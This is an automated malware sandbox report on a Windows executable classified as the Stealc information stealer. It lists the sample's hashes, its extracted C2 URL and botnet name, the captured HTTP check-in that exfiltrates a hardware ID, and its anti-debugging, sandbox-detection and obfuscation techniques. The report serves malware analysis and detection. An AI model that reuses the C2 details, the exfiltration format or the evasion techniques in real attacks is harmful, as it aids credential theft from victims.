Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543217
MD5:	d42e9bebeb9d3f72398f5a5211b649e1
SHA1:	677dc85715152bdc047d55a0a7843ea53690274c
SHA256:	70d701780ae74623c6f20f75516cecba15aff040750f911bc73b311a5482b622
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3356 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D42E9BEBEB9D3F72398F5A5211B649E1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2051322816.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3356	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3356	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.9e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T13:04:03.454796+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.9e0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_009EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_009E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_009E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_009E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_009F8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_009EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_009EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_009EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_009F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EF68A FindFirstFileA,	0_2_009EF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_009F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_009EBE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 45 42 37 32 31 36 43 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"6A5EB7216C1A2447771074------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"puma------JKECGHCFIJDAAKFHJJDH--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009E4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_009E4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 45 42 37 32 31 36 43 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"6A5EB7216C1A2447771074------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"puma------JKECGHCFIJDAAKFHJJDH--

Source: file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3C;
Source: file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpJ

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2	0_2_00DBA0D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBB093	0_2_00CBB093
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBF1EB	0_2_00DBF1EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB3991	0_2_00DB3991
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CCC94A	0_2_00CCC94A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E17972	0_2_00E17972
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB8904	0_2_00DB8904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB0104	0_2_00DB0104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DACA21	0_2_00DACA21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E5F219	0_2_00E5F219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB1BD4	0_2_00DB1BD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7C3FA	0_2_00D7C3FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D35B66	0_2_00D35B66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBBB65	0_2_00DBBB65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB6DD4	0_2_00DB6DD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E2BDD6	0_2_00E2BDD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAE5A3	0_2_00DAE5A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA26D9	0_2_00CA26D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E956FC	0_2_00E956FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D886F4	0_2_00D886F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD63B	0_2_00DBD63B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D927D8	0_2_00D927D8

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 009E45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: viycrjrr ZLIB complexity 0.994612532747006

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_009F8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_009F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\HBN1DL2F.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1866752 > 1048576

Source: file.exe

Static PE information: Raw size of viycrjrr is bigger than: 0x100000 < 0x1a1800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.9e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;viycrjrr:EW;xfsmgicr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;viycrjrr:EW;xfsmgicr:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_009F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cae21 should be: 0x1cf434

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: viycrjrr
Source: file.exe	Static PE information: section name: xfsmgicr
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA30ED push 74C997D3h; mov dword ptr [esp], ebx	0_2_00EA3E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 1295D803h; mov dword ptr [esp], esp	0_2_00DBA0E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ecx; mov dword ptr [esp], edi	0_2_00DBA134
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebp; mov dword ptr [esp], 6477CCFFh	0_2_00DBA16D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push edi; mov dword ptr [esp], ebx	0_2_00DBA178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 08219782h; mov dword ptr [esp], edx	0_2_00DBA1B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 2F63DA4Ah; mov dword ptr [esp], edi	0_2_00DBA1DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 5A2E2576h; mov dword ptr [esp], eax	0_2_00DBA21B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebx; mov dword ptr [esp], eax	0_2_00DBA227
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ecx; mov dword ptr [esp], eax	0_2_00DBA236
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebp; mov dword ptr [esp], esi	0_2_00DBA2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push edi; mov dword ptr [esp], 7AF56F19h	0_2_00DBA344
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebx; mov dword ptr [esp], 7B7FA62Ch	0_2_00DBA362
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push edx; mov dword ptr [esp], eax	0_2_00DBA3A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 6C936F36h; mov dword ptr [esp], edx	0_2_00DBA3E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 2CFA03BBh; mov dword ptr [esp], ebx	0_2_00DBA3ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebx; mov dword ptr [esp], 74F8AE41h	0_2_00DBA3F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 30122E1Ch; mov dword ptr [esp], ebp	0_2_00DBA43D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 5601B85Bh; mov dword ptr [esp], edx	0_2_00DBA4E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebx; mov dword ptr [esp], ecx	0_2_00DBA5DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 177435ACh; mov dword ptr [esp], ebx	0_2_00DBA634
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push esi; mov dword ptr [esp], 4A8DD2FEh	0_2_00DBA655
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ecx; mov dword ptr [esp], ebx	0_2_00DBA665
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 66547C81h; mov dword ptr [esp], ecx	0_2_00DBA713
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push eax; mov dword ptr [esp], 769DC6E3h	0_2_00DBA7C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ecx; mov dword ptr [esp], 7FF70B32h	0_2_00DBA7EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 54DDB361h; mov dword ptr [esp], edx	0_2_00DBA804
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ecx; mov dword ptr [esp], 771B1670h	0_2_00DBA82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push ebp; mov dword ptr [esp], 5CBD4B43h	0_2_00DBA83E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push 63F74AAAh; mov dword ptr [esp], ecx	0_2_00DBA87C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBA0D2 push eax; mov dword ptr [esp], 7DF7A362h	0_2_00DBA8EA

Source: file.exe

Static PE information: section name: viycrjrr entropy: 7.953397310962952

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_009F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13670

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4239E second address: C423A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4C87 second address: DC4C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8133 second address: DB8137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8137 second address: DB8152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F66B1272F5Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8152 second address: DB8157 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8157 second address: DB8162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3C77 second address: DC3C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3C81 second address: DC3C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
